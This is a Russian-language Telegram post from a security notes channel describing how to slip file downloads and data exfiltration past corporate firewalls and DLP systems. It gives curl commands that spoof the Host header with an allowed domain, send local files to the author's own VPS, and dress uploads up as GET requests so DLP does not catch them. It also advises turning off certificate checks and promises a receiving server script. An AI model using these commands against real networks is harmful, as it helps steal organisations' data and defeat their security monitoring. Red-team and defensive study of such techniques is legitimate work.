Тема интересная, много чего можно перепробовать на самом деле... Будем есть слона по частям и в этом посте начнем с разбора самых базовых способов обхода таких систем:
1) Если в организации запрещено прямое обращение на внешние ресурсы по IP-адресу, а вам необходимо скачать, например, с вашего VPS-сервера некоторый файл (но вы не желаете по какой-то причине заморачиваться с регистрацией домена), то стоит попробовать просто добавить фиктивный HTTP-заголовок Host, например:
БЫЛО:
curl <URL>/file.txt, где <URL> - это URL-адрес вашего VPS-сервера (протокол:ip:port). Допустим, что запрос, отправленный таким образом, отбрасывается в сети организации не может выйти в сеть Интернет;СТАЛО:
curl -H "Host: <DOMAIN>" <URL>/file.txt, где <DOMAIN> - доменное имя любого веб-сайта, доступ к которому не ограничен из сети организации (может это будет github.com или yandex.ru и т.д.);И если вы планируете выгрузить файл на ваш VPS-сервер, то можете это сделать следующим образом:
curl -X POST -H "Host: <DOMAIN>" -F "file=@<PATH_TO_FILE>" <URL>/upload, где <PATH_TO_FILE> - путь до файла на диске 2) Если в организации запрещено выгружать файлы на внешние веб-ресурсы, а вам необходимо произвести эксфильтрацию данных на ваш VPS-сервер, то следует попробовать собрать неординарный HTTP-запрос:
БЫЛО:
curl -X POST -F 'file=@<PATH_TO_FILE>' <URL>/upload, где <URL> - уже может содержать не только IP, но и доменное имя (про регистрацию доменных имен мы поговорим отдельно) - DLP распознает попытку передачи файла с помощью POST-запроса и блокирует его;📜 Bypass данного ограничения мне пришел после реверса одного из мобильных приложений, в котором использовалась Яндекс Метрика. SDK-модуль Метрики слал на сервера компании Яндекс POST-запросы с GET-параметрами, мне это показалось интересным и я решил реализовать уже свой веб-сервер, который смог бы принимать GET-запросы с телом (как у обычных POST или PUT запросов) и сохранять отправляемые ему файлы
СТАЛО:
curl -X GET -F "file=@<PATH_TO_FILE>" <URL>/upload (а-ля POST-запрос, но в методе будет указан GET)или
curl -X GET -T <PATH_TO_FILE> <URL>/upload (а-ля PUT-запрос, но в методе будет указан GET)Вы можете самостоятельно посмотреть разницу между этими двумя способами отправки файлов с помощью Wireshark.
💡Стоит обратить внимание, что если вы работаете с HTTPS ресурсом, то добавляйте к каждому вызову
curl параметр --insecure (или -k), так как зачастую NGFW и DLP-системы в организации будут подсовывать вам свой TLS-сертификат, чтобы читать весь ваш HTTPS-трафик.Оба описанных в данной заметке способа позволили мне обойти различные NGFW и DLP-системы ведущих игроков на западном и отечественном рынках, дальше мы будем еще больше говорить о рабочих способах обхода таких систем
В продолжение к этому посту я выложу файл
server.py, который позволит вам использовать оба описанных в данной заметке трюка. Базовый запуск: python server.py, если нужна будет помощь, то добавляйте параметр --help.🔗 Полезные ссылки:
- T1567: Эксфильтрация через веб-службу (EN)
- T1567: Эксфильтрация через веб-службу (RU)
#curl #python #exfiltration #infiltration #exfil #T1567
—
KGM's notes | KGM's notes (EN)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍1